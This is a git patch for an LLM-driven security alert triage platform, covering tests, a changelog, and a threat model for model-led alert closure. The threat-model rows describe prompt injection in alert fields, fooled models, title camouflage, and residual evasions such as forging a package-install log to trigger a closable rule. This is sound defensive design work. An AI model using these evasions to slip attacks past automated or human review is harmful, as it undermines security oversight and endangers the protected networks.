{"related_count": 0, "related_complete": True, "related_rule_repeats": 0, "related_threats": 0, + "related_other_rules": 0, "related_dispositions": {}} +#: What a sibling the models could close themselves has stored: both tiers benign within the thresholds, alone. +BENIGN_SUMMARY: Dict[str, Any] = {"triage": BENIGN_TRIAGE, "analysis": BENIGN_ANALYSIS, "correlation": ALONE} RULES = { "2902": "New dpkg (Debian Package) installed.", "5402": "Successful sudo to ROOT executed.", @@ -135,7 +138,7 @@ async def test_a_different_detection_on_the_same_host_is_a_possible_kill_chain( {"summary": {**BENIGN_SUMMARY, "analysis": {**BENIGN_ANALYSIS, "rule_evidence": ["prior_malicious_history"]}}}), ("(b) one of its own related alerts closed as malicious", - {"summary": {**BENIGN_SUMMARY, "correlation": {"related_dispositions": {"malicious": 1}}}}), + {"summary": {**BENIGN_SUMMARY, "correlation": {**ALONE, "related_dispositions": {"malicious": 1}}}}), ("(c) the fast tier said benign at likelihood 40", {"summary": {**BENIGN_SUMMARY, "triage": {**BENIGN_TRIAGE, "threat_likelihood": 40}}}), ("(c) the deep tier said benign at certainty 60", @@ -223,3 +226,69 @@ async def test_review_m1_a_steering_msi_does_not_vouch_for_the_next(make_setting result = await correlate(make_settings(), [stored("msi1", "60612", summary=steering)], rule_id="60612") assert (result.related_count, result.related_rule_repeats) == (1, 0) assert decide(result, "60612").route == "escalate" + + + +# --------------------------------------------------------------------------- re-check of #345: campaign-block laundering + + +async def sibling_with_own_digest(settings: Settings, its_related: List[StoredAlert], **correlate_kwargs: Any) -> StoredAlert: + """S (rule 2902, both tiers benign) as stored after its own correlation over ``its_related``: the digest is the + one the real agent produced for it.""" + own = await correlate(settings, its_related, **correlate_kwargs) + return stored("S", "2902", summary={**BENIGN_SUMMARY, "correlation": dict(own.digest())}) + + +async def test_recheck_a_campaign_block_is_not_laundered_through_a_sibling( + make_settings: Callable[..., Settings], +) -> None: + """X (another rule, a possible kill-chain step) on host H at t0; S (2902) at t50 is blocked by X and waits for an + analyst; A (2902) at t70 sees S but no longer X (outside its 60-minute window). S's campaign block is not exempt: + its digest shows a related alert of another rule, so S is no quiet repeat and A goes to an analyst.""" + settings = make_settings() + s = await sibling_with_own_digest(settings, [stored("X", "5402")]) + assert s.summary["correlation"]["related_other_rules"] == 1 + a = await correlate(settings, [s]) + assert (a.related_count, a.related_rule_repeats, a.related_other_rules) == (1, 0, 0) + assert decide(a).route == "escalate" + + +@pytest.mark.parametrize( + ("why", "its_related", "kwargs"), + [ + ("a related alert a model judged suspicious", + [stored("T", "2902", summary={**BENIGN_SUMMARY, "triage": {**BENIGN_TRIAGE, "threat_assessment": "suspicious"}})], + {}), + ("an incomplete related set (query at its limit)", [stored(f"r{i}", "2902") for i in range(2)], + {"max_correlations": 2}), + ("a related alert hidden for a blind audit", [stored("r0", "2902"), stored("audit", "2902")], + {"pending": ("audit",)}), + ], +) +async def test_recheck_threat_and_incomplete_set_blocks_are_not_laundered_either( + why: str, its_related: List[StoredAlert], kwargs: Dict[str, Any], make_settings: Callable[..., Settings] +) -> None: + settings = make_settings() + s = await sibling_with_own_digest(settings, its_related, **kwargs) + a = await correlate(settings, [s]) + assert a.related_rule_repeats == 0, why + assert decide(a).route == "escalate", why + + +async def test_recheck_a_sibling_digest_without_the_new_count_is_not_quiet(make_settings: Callable[..., Settings]) -> None: + """Fail closed: a sibling blocked by its own campaign check, whose digest predates ``related_other_rules``.""" + old = {"related_count": 1, "related_rule_repeats": 0, "related_complete": True, "related_threats": 0, + "related_dispositions": {}} + a = await correlate(make_settings(), [stored("S", "2902", summary={**BENIGN_SUMMARY, "correlation": old})]) + assert a.related_rule_repeats == 0 and decide(a).route == "escalate" + + +async def test_recheck_a_burst_does_not_block_itself(make_settings: Callable[..., Settings]) -> None: + """Control: S was blocked only by a same-rule sibling no model had judged yet (in flight). Its digest shows no + threat, a complete set and no other rule, so its block clears and A, which sees only S, closes.""" + settings = make_settings() + s = await sibling_with_own_digest(settings, [stored("P", "2902", status="processing", summary={})]) + own = s.summary["correlation"] + assert (own["related_count"], own["related_rule_repeats"], own["related_other_rules"]) == (1, 0, 0) + a = await correlate(settings, [s]) + assert a.related_rule_repeats == 1 and decide(a).code == MODEL_CLOSED diff --git a/tests/unit/domain/test_noise_families.py b/tests/unit/domain/test_noise_families.py index adca2ae3..44c651a8 100644 --- a/tests/unit/domain/test_noise_families.py +++ b/tests/unit/domain/test_noise_families.py @@ -14,13 +14,14 @@ import pytest -from lg_sotf.core.graph import cap_alert +from lg_sotf.core.graph import RAW_RULE_KEYS, cap_alert from lg_sotf.domain import closure, routing from lg_sotf.domain.closure import MODEL_CLOSED, UNMAPPED, model_close_blockers, model_close_class, never_close_class from lg_sotf.domain.noise_families import ( AUTH_FAILURE_GROUPS, CATALOGUE, CATALOGUE_VERSION, + VENDOR_UNKNOWN, WAZUH, DetectionRule, detection_rule, @@ -182,17 +183,28 @@ def test_the_rule_id_comes_from_the_vendor_event_and_the_wazuh_rule_name_only() ): assert detection_rule(broken) is None, broken assert noise_family(broken) is None - assert model_close_class(broken) == UNMAPPED + # Unmapped either way; a Wazuh-built alert whose rule cannot be read is vendor_unknown (re-check of #345). + assert model_close_class(broken) in (UNMAPPED, VENDOR_UNKNOWN) # A title, description or rule name alone is never a rule id (a canonical alert without a vendor event). canonical = {"title": DPKG, "description": DPKG, "rule_name": f"2902: {DPKG}", "mitre": {}, "raw": {}} assert noise_family(canonical) is None and model_close_class(canonical) == UNMAPPED -def test_an_oversized_raw_event_is_dropped_by_the_state_cap_and_fails_closed() -> None: - event = {**wazuh_event("2902", DPKG), "data": {f"field{i}": "x" * 1_500 for i in range(30)}} - alert = state_alert(event) - assert "rule" not in alert["raw"] - assert model_close_class(alert) == UNMAPPED +def test_an_oversized_raw_event_keeps_its_rule_through_the_state_cap() -> None: + """Re-check of #345: the cap replaces an oversized raw event but keeps ``raw.rule`` (id, level, description, + groups, mitre), so an attacker who inflates an event cannot hide the rule's groups.""" + padding = {f"field{i}": "x" * 1_500 for i in range(30)} + alert = state_alert({**wazuh_event("2902", DPKG), "data": padding}) + assert alert["raw"]["_omitted"] and alert["raw"]["rule"]["id"] == "2902" and "data" not in alert["raw"] + assert closure.catalogued_noise(alert) is not None + inflated = {**wazuh_event(*AUTH_FAILURES[2][:2], groups=AUTH_FAILURES[2][3], mitre=AUTH_FAILURES[2][4]), + "data": padding} + capped = state_alert(inflated) + assert set(capped["raw"]["rule"]) == set(RAW_RULE_KEYS) and "invalid_login" in capped["raw"]["rule"]["groups"] + assert never_close_class(capped) == "credential_access" + huge = cap_alert({"title": "t", "raw": {"rule": {"id": "1", "groups": ["g" * 5_000] * 200, "x": "y"}, "z": "z" * 20_000}}) + kept = huge["raw"]["rule"] + assert "x" not in kept and len(kept["groups"]) <= 20 and all(len(g) <= 200 for g in kept["groups"]) # --------------------------------------------------------------------------- every other condition still applies @@ -314,10 +326,21 @@ def test_review_h1_the_groups_are_matched_exactly_and_t1531_alone_is_enough() -> assert never_close_class(upper) == "credential_access" -def test_review_h1_without_the_raw_event_only_the_attack_mapping_is_left() -> None: - """Documented: when the state size cap drops the raw event, the groups cannot be read. 60122 still blocks on - T1531; 99919 (T1078) then rests on its ATT&CK mapping alone, like any mapped alert before FIX-2.""" - spray = state_alert(wazuh_event(*AUTH_FAILURES[0][:2], groups=AUTH_FAILURES[0][3], mitre=AUTH_FAILURES[0][4])) - assert never_close_class({k: v for k, v in spray.items() if k != "raw"}) == "credential_access" +def test_recheck_a_wazuh_alert_without_a_readable_rule_never_closes() -> None: + """Re-check of #345: when the raw event is gone altogether, a Wazuh-built alert's groups are unknown: it is + vendor_unknown, a never-close class that also blocks the catalogue lift. 99919 (T1078) no longer slips through.""" + for case in (AUTH_FAILURES[0], AUTH_FAILURES[2]): + alert = state_alert(wazuh_event(*case[:2], groups=case[3], mitre=case[4])) + gone = {k: v for k, v in alert.items() if k != "raw"} + assert never_close_class(gone) in ("credential_access", VENDOR_UNKNOWN) + assert never_close_class({**gone, "raw": {"_omitted": "x"}}) in ("credential_access", VENDOR_UNKNOWN) bad_ip = state_alert(wazuh_event(*AUTH_FAILURES[2][:2], groups=AUTH_FAILURES[2][3], mitre=AUTH_FAILURES[2][4])) - assert never_close_class({k: v for k, v in bad_ip.items() if k != "raw"}) is None + assert never_close_class({k: v for k, v in bad_ip.items() if k != "raw"}) == VENDOR_UNKNOWN + package = state_alert(wazuh_event("2902", DPKG)) + gone = {k: v for k, v in package.items() if k != "raw"} + assert model_close_class(gone) == VENDOR_UNKNOWN + state = wazuh_state(wazuh_event("2902", DPKG)) + state["alert"] = gone + assert routing.decide(state, T, AUTO).route == "escalate" + # Another format without a raw rule stays as before: its ATT&CK mapping decides. + assert never_close_class({**gone, "normalizer": "canonical"}) == UNMAPPED From 46f7f887d30836d9eb81bdc0e4d1855c3266d148 Mon Sep 17 00:00:00 2001 From: Ahmed Ghazouani Date: Mon, 9 Nov 2026 20:14:47 +0100 Subject: [PATCH 4/5] FIX-2 scope: defer the campaign split, keep FIX-1's campaign check; cut groups lists are vendor_unknown Three review rounds found ways to launder a campaign block through the same-rule repeat count, so the lead dropped it from this PR: _campaign_in_progress, the correlation digest, openapi.json and schema.gen.ts are back to main. Kept: the noise catalogue, T1531 and the Wazuh auth-failure groups as credential access, the raw.rule subset through the state cap, vendor_unknown (now also for a groups list the cap cut) and CanonicalAlert.normalizer. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01JmdYVXkgpNHoygVJCrUeZc --- changelog.d/FIX-2.md | 43 +-- docs/ai-system-card.md | 13 +- docs/architecture.md | 9 +- docs/invariants.md | 9 +- docs/openapi.json | 18 -- docs/security.md | 3 +- docs/threat-model.md | 2 +- src/lg_front/src/api/schema.gen.ts | 6 - src/lg_sotf/agents/correlation/base.py | 165 +--------- src/lg_sotf/core/graph.py | 23 +- src/lg_sotf/core/state.py | 3 - src/lg_sotf/domain/closure.py | 53 +--- src/lg_sotf/domain/noise_families.py | 13 +- src/lg_sotf/domain/routing.py | 4 +- src/lg_sotf/invariants/checks.py | 10 +- src/lg_sotf/invariants/registry.py | 12 +- .../integration/engine/test_model_closure.py | 30 +- tests/unit/agents/_support.py | 1 - tests/unit/agents/test_campaign_split.py | 294 ------------------ tests/unit/domain/test_closure.py | 33 +- tests/unit/domain/test_noise_families.py | 24 +- tests/unit/invariants/test_checks.py | 7 - 22 files changed, 122 insertions(+), 653 deletions(-) delete mode 100644 tests/unit/agents/test_campaign_split.py diff --git a/changelog.d/FIX-2.md b/changelog.d/FIX-2.md index 81de0959..0f499b15 100644 --- a/changelog.d/FIX-2.md +++ b/changelog.d/FIX-2.md @@ -10,23 +10,12 @@ benign at the install thresholds, steering text, a recent true positive and a campaign in progress still block. Such a close's decision reason names the family and the catalogue version. -- The campaign check now tells one detection rule repeating apart from an - attack. A burst of the same rule no longer blocks a model-led close, and - neither do those repeats while they wait for an analyst (before, nothing - closed, so everything stayed open and the check blocked itself), when - every repeat was either closed as benign or is one the models could close - themselves: no steering text, no recent true positive, both model tiers - benign within the thresholds, no never-close class. The correlation - digest has three new fields, `related_rule_repeats`, `related_complete` and - `related_other_rules`. - A complete related set holds fewer than `agents.correlation.max_correlations` - alerts (10 by default), so at most 9 repeats stand behind a close. -- Rule ids are known for Wazuh alerts only. For other vendors (Sentinel, - CrowdStrike, ...) every related alert still blocks a model-led close. - Alerts now record the format whose normalizer built them (`normalized.normalizer`: `wazuh`, `canonical`, `webhook`, `llm`, ...). Models never see it. Alerts stored before this release have none, so the - catalogue and the repeat count do not apply to them. + catalogue does not apply to them. +- The campaign check is unchanged (FIX-1). A check that lets one detection + rule repeat without blocking was deferred. ### Security @@ -37,29 +26,11 @@ and ATT&CK T1531, where Wazuh maps its Windows logon failures. Before, 25 stock Wazuh rules of that kind (logon failures, a failed logon from a malicious IP, a possible replay attack) were closable. - - The catalogue reads only the rule id of the vendor's own event, and only on an alert the Wazuh normalizer built, never the title, description or rule-name text: a custom rule that copies a stock description, a forged - rule-name prefix or a canonical push of a Wazuh document stays unmapped. An alert whose - raw event was dropped by the state size cap stays unmapped too. -- A same-rule related alert that was itself blocked by its own campaign - check counts as a repeat only when its digest shows no threat, a complete - related set and no related alert of another rule (the new digest field - `related_other_rules`), so an attack step that has left the correlation - window cannot clear a later alert through it. A related alert an analyst - or approved evidence closed as benign counts as a repeat whatever its own - model scores: that decision is trusted on purpose. A model threat verdict - on it still blocks. + rule-name prefix or a canonical push of a Wazuh document stays unmapped. - The workflow state keeps the vendor rule (`raw.rule`: id, level, - description, groups, ATT&CK) when an oversized raw event is dropped, and a - Wazuh alert whose rule cannot be read never closes on the models' word. -- A related alert still blocks a model-led close when its detection rule - differs (a possible kill chain, even if it was closed as benign), when a - model judged it malicious or suspicious, when it is still waiting for a - model or for its deep verdict, when it carries steering text or a recent - true positive, when a model tier was not sure enough, when it is in a - never-close class, or when it is a response plan awaiting approval. A related set that may be incomplete (the correlation query hit - its limit, or a related alert is hidden while it waits for a blind-audit - label) blocks too, and so does a digest from before this release that - lists related alerts. + description, groups, ATT&CK) when an oversized raw event is dropped. A + Wazuh alert whose rule cannot be read, or whose groups list had to be cut, + never closes on the models' word. diff --git a/docs/ai-system-card.md b/docs/ai-system-card.md index 04827bc2..e9647613 100644 --- a/docs/ai-system-card.md +++ b/docs/ai-system-card.md @@ -280,15 +280,10 @@ queue without them. That is a simulation, not a re-measurement. The miss-rate re auto-close result is not yet a statement about the model. Decision policy v2.1 (FIX-2) adds a reviewed catalogue of unmapped Wazuh -noise rules (by rule id) and a campaign check that lets one rule repeat. -Simulated on the same recorded outputs, with the related alerts rebuilt -from the stream: none of the 312 benign alerts closes and none of the 208 -malicious (only the 107 benign and 30 malicious alerts that run analysed -can be simulated); -on the 100 alerts of the FIX-1 dev run, 2 of 60 benign (0 of 40 -malicious). The model tiers and related alerts a model judged suspicious -remain the main blockers. With a model fooled on every corpus_v1 alert, the -policy alone closes none of the 208 malicious alerts. +noise rules (by rule id) and makes authentication failures a never-close +class whatever their ATT&CK id; the campaign check stays FIX-1's. +Simulated on the FIX-1 dev run's 100 recorded alerts, 2 of the 60 +benign alerts close and none of the 40 malicious. ### 7.2 Scorecard v1: `qwen2.5:7b` on a local Ollama diff --git a/docs/architecture.md b/docs/architecture.md index ff798fb9..9fa998a2 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -291,13 +291,8 @@ Rules: noise catalogue (`lg_sotf.domain.noise_families`, FIX-2: package installs, Windows software installs, Defender scan and signature status, web 4xx; keyed by vendor and rule id, never by text), triage found no - steering text, no entity has a recent true positive, no campaign is in - progress (every related alert must be the same Wazuh detection rule - repeating, a threat to no model, not a plan awaiting approval, and - either closed as benign or itself closable by the models, over a - complete related set: a different rule on the same entities is a - possible kill chain, and other vendors' related alerts always block), - authentication failures are credential access whatever their ATT&CK id + steering text, no entity has a recent true positive, no campaign is in progress (a burst, or a related alert a model judged + malicious or suspicious or still open for review), authentication failures are credential access whatever their ATT&CK id (Wazuh rule groups, T1531), and both model tiers say `benign`: fast-tier likelihood at most `routing.model_close_max_likelihood` (8) and deep-tier certainty at least `routing.model_close_min_certainty` (85). The `decide` node reads diff --git a/docs/invariants.md b/docs/invariants.md index 3b022102..269a1276 100644 --- a/docs/invariants.md +++ b/docs/invariants.md @@ -61,7 +61,7 @@ Containment changes a customer's environment. An action executes only once it is ## INV-03: An AI verdict alone never closes a high or critical alert or a never-close class; a low or medium alert closes on the models' word only at the tenant's autonomy tier -A fooled or injected model must not be able to make a dangerous alert disappear. Routing is a pure policy. High and critical alerts close only by an analyst, a suppression rule or an analyst-confirmed verdict. A low or medium alert closes when approved benign evidence an attacker cannot write corroborates a benign verdict: a cached analyst verdict, the detection rule's name, the EICAR hash, a test source or the tenant's declared context, such as a scanner as the source of the activity; never past steering text or a recent true positive, and a scanner or test source never for a never-close class. Without such evidence it closes on the models' word only when the tenant's autonomy tier is auto_full_audit and both model tiers judge it benign within the install's thresholds, never for the never-close classes (credential access, log clearing, security-tool tampering, ransomware behaviour, persistence through attacker-named objects, authentication failures by vendor rule group, unmapped alerts unless the vendor rule id is in the reviewed noise catalogue, never matched on text), steering text, entities with a recent true positive or a campaign in progress (anything but the same detection rule repeating as benign noise over a complete related set); such a close is marked model_closed for audit. With the tier off, the default, a model never closes an alert alone. +A fooled or injected model must not be able to make a dangerous alert disappear. Routing is a pure policy. High and critical alerts close only by an analyst, a suppression rule or an analyst-confirmed verdict. A low or medium alert closes when approved benign evidence an attacker cannot write corroborates a benign verdict: a cached analyst verdict, the detection rule's name, the EICAR hash, a test source or the tenant's declared context, such as a scanner as the source of the activity; never past steering text or a recent true positive, and a scanner or test source never for a never-close class. Without such evidence it closes on the models' word only when the tenant's autonomy tier is auto_full_audit and both model tiers judge it benign within the install's thresholds, never for the never-close classes (credential access, log clearing, security-tool tampering, ransomware behaviour, persistence through attacker-named objects, authentication failures by vendor rule group, unmapped alerts unless the vendor rule id is in the reviewed noise catalogue, never matched on text), steering text, entities with a recent true positive or a campaign in progress; such a close is marked model_closed for audit. With the tier off, the default, a model never closes an alert alone. * **Status:** enforced * **Owner epic:** AI-E6 @@ -86,15 +86,10 @@ A fooled or injected model must not be able to make a dangerous alert disappear. * `tests/unit/domain/test_noise_families.py::test_the_catalogue_lifts_only_unmapped_never_a_mapped_never_close_class` * `tests/unit/domain/test_noise_families.py::test_every_other_condition_still_blocks_a_catalogued_rule` * `tests/unit/domain/test_noise_families.py::test_a_malicious_or_suspicious_model_verdict_on_a_catalogued_rule_still_escalates` - * `tests/unit/agents/test_campaign_split.py::test_a_different_detection_on_the_same_host_is_a_possible_kill_chain` - * `tests/unit/agents/test_campaign_split.py::test_a_same_rule_alert_still_counts_against_closing_when` - * `tests/unit/agents/test_campaign_split.py::test_an_incomplete_related_set_fails_closed` - * `tests/unit/agents/test_campaign_split.py::test_review_m1_a_steering_msi_does_not_vouch_for_the_next` - * `tests/unit/agents/test_campaign_split.py::test_recheck_a_campaign_block_is_not_laundered_through_a_sibling` * `tests/unit/domain/test_noise_families.py::test_recheck_a_wazuh_alert_without_a_readable_rule_never_closes` * `tests/unit/domain/test_noise_families.py::test_review_h1_authentication_failures_are_credential_access_whatever_their_mapping` * `tests/integration/engine/test_model_closure.py::test_the_tenant_tier_decides_whether_the_models_close` - * `tests/integration/engine/test_model_closure.py::test_catalogued_noise_and_its_repeats_close_but_another_rule_on_the_host_does_not` + * `tests/integration/engine/test_model_closure.py::test_catalogued_noise_closes_on_the_models_word_and_an_uncatalogued_rule_does_not` * `tests/integration/eval/test_adversarial_v2_eval.py::test_no_malicious_close_with_model_led_closure_on` * `tests/integration/e2e/test_llm_safety.py::test_injected_benign_instructions_never_close_an_alert` * `tests/unit/agents/test_title_camouflage.py::test_the_title_camouflage_items_get_no_benign_evidence_and_never_close_on_rules` diff --git a/docs/openapi.json b/docs/openapi.json index f4e7412e..9599a831 100644 --- a/docs/openapi.json +++ b/docs/openapi.json @@ -1138,9 +1138,6 @@ }, "type": "array" }, - "related_complete": { - "type": "boolean" - }, "related_count": { "type": "integer" }, @@ -1153,12 +1150,6 @@ "related_open_reviews": { "type": "integer" }, - "related_other_rules": { - "type": "integer" - }, - "related_rule_repeats": { - "type": "integer" - }, "related_threats": { "type": "integer" }, @@ -2088,9 +2079,6 @@ }, "type": "array" }, - "related_complete": { - "type": "boolean" - }, "related_count": { "type": "integer" }, @@ -2103,12 +2091,6 @@ "related_open_reviews": { "type": "integer" }, - "related_other_rules": { - "type": "integer" - }, - "related_rule_repeats": { - "type": "integer" - }, "related_threats": { "type": "integer" }, diff --git a/docs/security.md b/docs/security.md index c368b0ce..66a05dcb 100644 --- a/docs/security.md +++ b/docs/security.md @@ -256,8 +256,7 @@ close a dangerous alert or trigger containment. authentication failures count as credential access whatever their ATT&CK id), never with steering text, a recent true positive on its entities or a - campaign in progress among its related alerts (anything but the same - detection rule repeating as benign noise), and + campaign in progress among its related alerts, and only when the fast tier's likelihood is at most 8 and the deep tier's certainty at least 85 (install settings). The routing policy chooses to plan a response from the threat score; what then runs automatically is decided per action: automatic diff --git a/docs/threat-model.md b/docs/threat-model.md index 19effe0c..83f79a3c 100644 --- a/docs/threat-model.md +++ b/docs/threat-model.md @@ -135,7 +135,7 @@ disclosure, **D**enial of service, **E**levation of privilege. | ID | STRIDE | Threat | Controls | Status | |---|---|---|---|---| | TM-WRK-1 | T | Prompt injection in alert fields changes the verdict | Untrusted-data blocks with escaped `<` and `>` (`src/lg_sotf/llm/prompting.py:365-400`); injection detection voids false-positive signals (`src/lg_sotf/agents/triage/base.py:125-131`); the injection signal blocks corroboration (`src/lg_sotf/agents/analysis/base.py:15-28`) | In place | -| TM-WRK-2 | T | A fooled model closes a dangerous alert, or the attacker names objects so the rules corroborate a benign close (title camouflage) | High and critical alerts are never auto-closed; low and medium need approved benign evidence (a rule false-positive signal or a cached analyst verdict), never past steering text or a recent true positive, and a declared scanner (only as the source of the activity) or a test source never for a never-close class; refusals escalate (`src/lg_sotf/domain/routing.py:1-35`). Model-led closure without such evidence is off unless a tenant admin (never under an MSSP grant, audited) sets `ai_closure.tier` to `auto_full_audit`; even then it needs both model tiers benign within install thresholds, no steering text, no recent true positive on the entities, no campaign in progress, an ATT&CK mapping and none of the never-close classes (credential access, log clearing, tampering, ransomware, persistence through attacker-named objects), and it is marked `ai_closed:audit_required` (`src/lg_sotf/domain/closure.py`, FIX-1). Policy v2.1 (FIX-2): an unmapped alert closes only when its vendor detection rule id (Wazuh `raw.rule.id`, on an alert the Wazuh normalizer built: the ingestion service records the format in `normalizer`, never from the event, and the rule name is that normalizer's `: `) is in the reviewed, versioned noise catalogue (`src/lg_sotf/domain/noise_families.py`: package installs and updates, Windows software installs, Defender scan and signature status, a single web 4xx), never on title, description or rule-name text; the catalogue lifts only `unmapped`, every other condition still applies, and each entry records the abuse it could hide (a malicious package, an MSI run as execution, web probing) with a test that a malicious or suspicious model verdict still escalates it. Authentication failures are credential access whatever ATT&CK id the vendor gave them: Wazuh rules in the groups `authentication_failed`, `authentication_failures`, `invalid_login` or `login_denied`, the listed ids 6250 and 44733, and T1531 (Wazuh maps Windows logon failures 60122-60130 there). No campaign means every related alert is the same detection rule repeating (same Wazuh rule id, a threat to no model, no plan awaiting approval, and either closed as benign by an analyst, approved evidence or a model-led close, a deliberate trust in that decision whatever the sibling's model scores, or a model-close candidate itself: no steering text, no recent true positive, both tiers benign at the thresholds, no never-close class, and its own campaign block cleared only when its digest shows no threat, a complete set and no related alert of another rule (`related_other_rules`), so a kill-chain step that has left the window is not laundered through it) over a complete related set: a different rule on the same entities, a sibling still waiting for its deep verdict, a hidden blind-audit sample, a query at its limit (`max_correlations`, so at most 9 repeats by default) or a digest without the counts blocks the close. Other vendors have no rule id here yet, so any related alert blocks theirs. Residual: an actor on a host, often without privileges (`logger -t yum`, a per-user MSI install), can choose which catalogued rule fires; only the two model tiers then stand between it and a close, every such close is marked for audit, and its decision reason names the family and catalogue version. An attack made of one non-authentication rule repeating relies on the models: Wazuh's frequency rules are no backstop for a slow attack (60204 needs 8 failures from one IP in 240 s; 31151 is level 10, which maps to medium and is itself closable). The state size cap keeps `raw.rule` (id, level, description, groups, mitre) when it drops an oversized raw event, so inflating an event does not hide its groups; a Wazuh-built alert whose rule cannot be read at all is `vendor_unknown`, a never-close class. Rule false-positive evidence comes only from the detection rule name with attacker-named values masked, EICAR hashes, the tenant's `triage.known_scanners` and the source id, never from titles, entity names, command lines, user agents or email subjects (`src/lg_sotf/domain/benign_evidence.py`, AI-E6.3). Rule-name words that name the detected activity (`scheduled`, `update`, `backup`, `scan`, `monitoring`) count only with a trusted qualifier: an intent word in the same rule name, a test-environment source id or, for `scan`, a known scanner (AI-E6.4) | In place; measured by `high_severity_auto_closed_benign` = 0 and the gated `title-camouflage` and `activity-camouflage` families of the adversarial corpus v2 in CI, at both autonomy tiers | +| TM-WRK-2 | T | A fooled model closes a dangerous alert, or the attacker names objects so the rules corroborate a benign close (title camouflage) | High and critical alerts are never auto-closed; low and medium need approved benign evidence (a rule false-positive signal or a cached analyst verdict), never past steering text or a recent true positive, and a declared scanner (only as the source of the activity) or a test source never for a never-close class; refusals escalate (`src/lg_sotf/domain/routing.py:1-35`). Model-led closure without such evidence is off unless a tenant admin (never under an MSSP grant, audited) sets `ai_closure.tier` to `auto_full_audit`; even then it needs both model tiers benign within install thresholds, no steering text, no recent true positive on the entities, no campaign in progress, an ATT&CK mapping and none of the never-close classes (credential access, log clearing, tampering, ransomware, persistence through attacker-named objects), and it is marked `ai_closed:audit_required` (`src/lg_sotf/domain/closure.py`, FIX-1). Policy v2.1 (FIX-2): an unmapped alert closes only when its vendor detection rule id (Wazuh `raw.rule.id`, on an alert the Wazuh normalizer built: the ingestion service records the format in `normalizer`, never from the event, and the rule name is that normalizer's `: `) is in the reviewed, versioned noise catalogue (`src/lg_sotf/domain/noise_families.py`: package installs and updates, Windows software installs, Defender scan and signature status, a single web 4xx), never on title, description or rule-name text; the catalogue lifts only `unmapped`, every other condition still applies, and each entry records the abuse it could hide (a malicious package, an MSI run as execution, web probing) with a test that a malicious or suspicious model verdict still escalates it. Authentication failures are credential access whatever ATT&CK id the vendor gave them: Wazuh rules in the groups `authentication_failed`, `authentication_failures`, `invalid_login` or `login_denied`, the listed ids 6250 and 44733, and T1531 (Wazuh maps Windows logon failures 60122-60130 there). The campaign check is FIX-1's (a burst, a related alert judged a threat or open for review); a check that lets one rule repeat was deferred after three review rounds found ways to launder a block through it. Residual: an actor on a host, often without privileges (`logger -t yum`, a per-user MSI install), can choose which catalogued rule fires; only the two model tiers then stand between it and a close, every such close is marked for audit, and its decision reason names the family and catalogue version. Wazuh's frequency rules are no backstop for a slow attack (60204 needs 8 failures from one IP in 240 s; 31151 is level 10, which maps to medium and is itself closable). The state size cap keeps `raw.rule` (id, level, description, groups, mitre) when it drops an oversized raw event, so inflating an event does not hide its groups; a Wazuh-built alert whose rule cannot be read at all, or whose groups list the cap had to cut, is `vendor_unknown`, a never-close class. Rule false-positive evidence comes only from the detection rule name with attacker-named values masked, EICAR hashes, the tenant's `triage.known_scanners` and the source id, never from titles, entity names, command lines, user agents or email subjects (`src/lg_sotf/domain/benign_evidence.py`, AI-E6.3). Rule-name words that name the detected activity (`scheduled`, `update`, `backup`, `scan`, `monitoring`) count only with a trusted qualifier: an intent word in the same rule name, a test-environment source id or, for `scan`, a known scanner (AI-E6.4) | In place; measured by `high_severity_auto_closed_benign` = 0 and the gated `title-camouflage` and `activity-camouflage` families of the adversarial corpus v2 in CI, at both autonomy tiers | | TM-WRK-3 | E | A fooled model triggers containment | Containment on model-only evidence always waits for approval (`src/lg_sotf/services/response/planner.py:328-329`); tenant autonomy, with unknown values read as `disabled` (`src/lg_sotf/services/response/policy.py:215-226`) | In place | | TM-WRK-4 | I | Alert data or secrets sent to the model provider | Secrets redacted before storage and before the model; personal data is **not** redacted | Partial: per-tenant pseudonymisation before the LLM call is planned (SEC7.5b) | | TM-WRK-5 | I | Model endpoint pointed at an internal or metadata address | `llm.base_url` egress check (`src/lg_sotf/llm/endpoint.py:80-100`), enforced at start-up (`src/lg_sotf/settings.py:519-524`) | In place | diff --git a/src/lg_front/src/api/schema.gen.ts b/src/lg_front/src/api/schema.gen.ts index 2f744cfa..21b43eea 100644 --- a/src/lg_front/src/api/schema.gen.ts +++ b/src/lg_front/src/api/schema.gen.ts @@ -2042,14 +2042,11 @@ export interface components { llm_skipped?: string | null; llm_used?: boolean; related_alert_ids?: string[]; - related_complete?: boolean; related_count?: number; related_dispositions?: { [key: string]: number; }; related_open_reviews?: number; - related_other_rules?: number; - related_rule_repeats?: number; related_threats?: number; score?: number; }; @@ -2293,14 +2290,11 @@ export interface components { llm_skipped?: string | null; llm_used?: boolean; related_alert_ids?: string[]; - related_complete?: boolean; related_count?: number; related_dispositions?: { [key: string]: number; }; related_open_reviews?: number; - related_other_rules?: number; - related_rule_repeats?: number; related_threats?: number; score?: number; }; diff --git a/src/lg_sotf/agents/correlation/base.py b/src/lg_sotf/agents/correlation/base.py index 8d5be256..df118c5a 100644 --- a/src/lg_sotf/agents/correlation/base.py +++ b/src/lg_sotf/agents/correlation/base.py @@ -24,23 +24,9 @@ own. Over every related alert (not only the digests the model sees) the digest counts dispositions, alerts a model judged malicious or suspicious (``related_threats``) and alerts still waiting for an analyst or an approval -(``related_open_reviews``). Since FIX-2 it also counts the related alerts -that are this alert's own detection rule repeating as noise -(``related_rule_repeats``: the same vendor rule id, a threat to no model, no -response plan awaiting approval, and either closed as benign or one the -models could close themselves; see :func:`quiet_rule_repeat`) and records whether the related set is complete -(``related_complete``: the query stayed under its limit and no related alert -was hidden for a blind audit), and counts the related alerts of another or -unknown rule (``related_other_rules``), which a later alert reads before it -lets this alert's own campaign block pass as repetition. A model-led close -needs every related alert -to be such a repeat over a complete set (:mod:`lg_sotf.domain.closure`): a -different detection on the same entities is a possible kill chain. The rule -id is known for Wazuh alerts only, so for other vendors every related alert -blocks a model-led close. The set is bounded by ``max_correlations`` -(default 10, at most 20): a complete set holds fewer. A related -alert the models closed alone counts and shows as ``ai_closed_unaudited``, -never as ``benign``. +(``related_open_reviews``); any of them, or a burst, blocks a model-led +close (:mod:`lg_sotf.domain.closure`). A related alert the models closed +alone counts and shows as ``ai_closed_unaudited``, never as ``benign``. A refusal of that call leaves the alert's assessment open: its confidence is raised to the grey zone (``routing.correlation_grey_zone_min``) and the @@ -60,9 +46,7 @@ from lg_sotf.agents.base import AccountedRun, AgentContext, BaseAgent, LLMResult from lg_sotf.agents.triage.base import agent_refusal from lg_sotf.db.errors import NotFound -from lg_sotf.domain import closure from lg_sotf.domain.indicators import 